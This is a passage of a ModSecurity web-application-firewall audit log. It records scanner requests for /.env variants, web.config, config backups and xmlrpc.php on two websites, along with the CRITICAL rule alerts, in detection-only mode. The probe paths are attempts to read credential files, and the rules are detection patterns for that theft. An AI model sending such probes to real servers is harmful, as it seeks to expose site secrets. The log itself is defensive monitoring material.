(CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE98ofvF1ly0gx5reNmGsgAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039713159957 938866 (- - -) Stopwatch2: 1750039713159957 938866; combined=1942, p1=321, p2=1214, p3=44, p4=66, p5=182, sr=86, sw=115, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4867a375-Z-- --c32cb963-A-- [16/Jun/2025:07:38:37.831112 +0530] aE98pfvF1ly0gx5reNmGtAAAAAE 185.177.72.210 38342 127.0.0.1 7081 --c32cb963-B-- GET /:8000/.env.save HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c32cb963-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=84e341ca266f18f53d923e14032bf76a1750039717; expires=Mon, 16 Jun 2025 03:08:37 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c32cb963-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/.env.save"] [unique_id "aE98pfvF1ly0gx5reNmGtAAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039717168315 662859 (- - -) Stopwatch2: 1750039717168315 662859; combined=1731, p1=398, p2=1239, p3=0, p4=0, p5=94, sr=99, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c32cb963-Z-- --3c18843e-A-- [16/Jun/2025:07:38:44.787964 +0530] aE98rGCnKbldJKSM7awcxAAAAAc 185.177.72.210 43790 127.0.0.1 7081 --3c18843e-B-- GET /www/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3c18843e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9ebdc5941180b004e5360a523d6dc0ad1750039724; expires=Mon, 16 Jun 2025 03:08:44 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3c18843e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/www/.env"] [unique_id "aE98rGCnKbldJKSM7awcxAAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039724134779 653250 (- - -) Stopwatch2: 1750039724134779 653250; combined=2106, p1=455, p2=1554, p3=0, p4=0, p5=96, sr=111, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3c18843e-Z-- --364d656a-A-- [16/Jun/2025:07:38:45.869315 +0530] aE98rQD0DwMUVKUIct3Z3AAAAAI 185.177.72.210 43830 127.0.0.1 7081 --364d656a-B-- GET /admin/.config HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --364d656a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b46e7ced8281a25889b574e18e4bcd6e1750039725; expires=Mon, 16 Jun 2025 03:08:45 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --364d656a-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".config"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".config"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/admin/.config"] [unique_id "aE98rQD0DwMUVKUIct3Z3AAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039725122800 746578 (- - -) Stopwatch2: 1750039725122800 746578; combined=1911, p1=353, p2=1463, p3=0, p4=0, p5=95, sr=97, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --364d656a-Z-- --fb2c0d74-A-- [16/Jun/2025:07:38:50.168171 +0530] aE98sQD0DwMUVKUIct3Z3gAAAAI 185.177.72.210 39318 127.0.0.1 7081 --fb2c0d74-B-- GET /:8443/.env.sample HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --fb2c0d74-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4f01a6d0723c96888a216054a4f08c9b1750039730; expires=Mon, 16 Jun 2025 03:08:50 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --fb2c0d74-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/.env.sample"] [unique_id "aE98sQD0DwMUVKUIct3Z3gAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039729514711 653524 (- - -) Stopwatch2: 1750039729514711 653524; combined=2378, p1=474, p2=1804, p3=0, p4=0, p5=99, sr=122, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --fb2c0d74-Z-- --64dec66d-A-- [16/Jun/2025:07:38:53.176118 +0530] aE98tLoFnONBt7jRcByZhQAAAA4 185.177.72.210 39416 127.0.0.1 7081 --64dec66d-B-- GET /:10000/.env_hidden HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --64dec66d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4923aca51d911ebcadb9f058fc05e91f1750039733; expires=Mon, 16 Jun 2025 03:08:53 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --64dec66d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/.env_hidden"] [unique_id "aE98tLoFnONBt7jRcByZhQAAAA4"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039732515806 660373 (- - -) Stopwatch2: 1750039732515806 660373; combined=1972, p1=429, p2=1448, p3=0, p4=0, p5=94, sr=116, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --64dec66d-Z-- --ad7ccc59-A-- [16/Jun/2025:07:38:57.336974 +0530] aE98uGCnKbldJKSM7awcyQAAAAc 185.177.72.210 39524 127.0.0.1 7081 --ad7ccc59-B-- GET /:8880/.env.local HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ad7ccc59-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=61dc18044f85e1c08ac94983ad7b9b9e1750039737; expires=Mon, 16 Jun 2025 03:08:57 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ad7ccc59-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/.env.local"] [unique_id "aE98uGCnKbldJKSM7awcyQAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039736594845 742192 (- - -) Stopwatch2: 1750039736594845 742192; combined=1828, p1=393, p2=1324, p3=0, p4=0, p5=110, sr=116, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ad7ccc59-Z-- --f53b8c5b-A-- [16/Jun/2025:07:38:58.344369 +0530] aE98uboFnONBt7jRcByZhwAAAA4 185.177.72.210 39562 127.0.0.1 7081 --f53b8c5b-B-- GET /modules/web.config HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f53b8c5b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=dbadd12577762c44e158e33907073c2f1750039738; expires=Mon, 16 Jun 2025 03:08:58 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f53b8c5b-H-- Message: Warning. Matched phrase "/Web.config" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".config"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/Web.config" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/modules/web.config"] [unique_id "aE98uboFnONBt7jRcByZhwAAAA4"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".config"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/modules/web.config"] [unique_id "aE98uboFnONBt7jRcByZhwAAAA4"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039737665412 679067 (- - -) Stopwatch2: 1750039737665412 679067; combined=2398, p1=474, p2=1774, p3=0, p4=0, p5=149, sr=129, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f53b8c5b-Z-- --36fafa61-A-- [16/Jun/2025:07:39:01.345733 +0530] aE98vLoFnONBt7jRcByZiAAAAA4 185.177.72.210 52390 127.0.0.1 7081 --36fafa61-B-- GET /:5601/laravel/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --36fafa61-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=bb3ecc24b370657ea4ab81ce427ee0f61750039741; expires=Mon, 16 Jun 2025 03:09:01 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --36fafa61-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/laravel/.env"] [unique_id "aE98vLoFnONBt7jRcByZiAAAAA4"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039740653201 692620 (- - -) Stopwatch2: 1750039740653201 692620; combined=1900, p1=381, p2=1395, p3=0, p4=0, p5=123, sr=101, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --36fafa61-Z-- --7a189d39-A-- [16/Jun/2025:07:39:34.987271 +0530] aE983okQyF8-ounHsxsKwwAAAA8 128.199.112.101 46562 127.0.0.1 7081 --7a189d39-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 491 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --7a189d39-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --7a189d39-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE983okQyF8-ounHsxsKwwAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039774052301 935027 (- - -) Stopwatch2: 1750039774052301 935027; combined=2223, p1=377, p2=1322, p3=118, p4=65, p5=205, sr=103, sw=136, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7a189d39-Z-- --17f1ba44-A-- [16/Jun/2025:07:40:07.021722 +0530] aE98_lLyTgTLRBnIBDZgLwAAAAM 185.177.72.210 35344 127.0.0.1 7081 --17f1ba44-B-- GET /.environment HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --17f1ba44-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3fe3c768b01af2ed5d09e2706d60af941750039806; expires=Mon, 16 Jun 2025 03:10:06 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --17f1ba44-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.environment"] [unique_id "aE98_lLyTgTLRBnIBDZgLwAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039806282431 739355 (- - -) Stopwatch2: 1750039806282431 739355; combined=1968, p1=383, p2=1468, p3=0, p4=0, p5=116, sr=98, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --17f1ba44-Z-- --9161f301-A-- [16/Jun/2025:07:40:08.074154 +0530] aE98_wD0DwMUVKUIct3aCAAAAAI 185.177.72.210 35416 127.0.0.1 7081 --9161f301-B-- GET /:8181/administrateur/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9161f301-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e5acbf81be85dd8e5e7b2d0e27bec6661750039807; expires=Mon, 16 Jun 2025 03:10:07 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9161f301-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/administrateur/.env"] [unique_id "aE98_wD0DwMUVKUIct3aCAAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039807365222 709016 (- - -) Stopwatch2: 1750039807365222 709016; combined=1691, p1=375, p2=1205, p3=0, p4=0, p5=110, sr=94, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9161f301-Z-- --9f4b1e37-A-- [16/Jun/2025:07:40:14.231328 +0530] aE99BVLyTgTLRBnIBDZgMwAAAAM 185.177.72.210 33052 127.0.0.1 7081 --9f4b1e37-B-- GET /:5601/app/config/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9f4b1e37-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=6432ff5e2448d5ea1e1fb7c74bc236091750039814; expires=Mon, 16 Jun 2025 03:10:14 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9f4b1e37-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/app/config/.env"] [unique_id "aE99BVLyTgTLRBnIBDZgMwAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039813559909 671507 (- - -) Stopwatch2: 1750039813559909 671507; combined=2308, p1=444, p2=1748, p3=0, p4=0, p5=115, sr=89, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9f4b1e37-Z-- --7e40942c-A-- [16/Jun/2025:07:40:17.783374 +0530] aE99CUN_xpBAtP8SIP07kwAAAAo 185.177.72.210 33538 127.0.0.1 7081 --7e40942c-B-- GET /private/config.php.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --7e40942c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=884919834379b4f40c0f0f4dc97de2f41750039817; expires=Mon, 16 Jun 2025 03:10:17 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --7e40942c-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] 